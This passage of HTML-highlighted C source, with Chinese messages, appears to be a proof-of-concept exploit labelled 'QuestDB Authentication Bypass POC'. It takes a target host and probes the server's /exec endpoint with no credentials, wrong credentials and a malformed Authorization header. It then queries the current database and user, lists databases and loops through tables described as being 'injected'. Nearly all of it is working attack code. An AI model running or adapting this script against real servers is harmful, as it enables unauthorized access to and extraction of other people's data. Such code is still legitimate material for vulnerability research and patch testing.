    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;full_request_url&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_URL_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;MAX_QUERY_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full_request_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full_request_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"%s?query=%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url_encoded_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;curl_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url_encoded_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;curl_easy_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full_request_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[%s] 正在注入表: %s | 响应长度: %zu&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;__TIME__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http_response&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
      &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[%s] 正在注入表: %s | 请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;__TIME__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;usleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;command_option&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;command_option&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"u:l:"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command_option&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="sc"&gt;'u'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;target_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;optarg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="sc"&gt;'l'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;loop_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;optarg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;loop_count&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nl"&gt;default:&lt;/span&gt;
        &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"用法: %s -u &amp;lt;主机地址&amp;gt; [-l &amp;lt;循环次数&amp;gt;]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"错误: 必须指定 -u 参数&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_URL_LEN&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strncmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http://"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;strncmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"https://"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"%s/exec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"http://%s:%d/exec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_PORT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[*] QuestDB Authentication Bypass POC (C语言版)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[*] 目标: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[1] 测试无凭证访问...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;no_credential_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no_credential_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;no_credential_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no_credential_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[2] 测试错误凭证 (wrong:wrong)...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;wrong_credential_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"wrong:wrong"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wrong_credential_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wrong_credential_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wrong_credential_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[3] 测试畸形 Authorization 头...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;malformed_header_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Authorization: Basic invalid"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;malformed_header_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;malformed_header_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;malformed_header_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[4] 尝试读取系统信息...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;CURL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;system_info_query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"select current_database(),current_user()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;system_info_url&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_URL_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_url&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"%s?query=%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_exec_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;system_info_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;curl_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;system_info_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http_get_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;system_info_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_info_response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"请求失败&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;curl_easy_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[5] 获取数据库列表...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;curl_handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;databases_query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;curl_easy_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"show databases"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;databases_query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
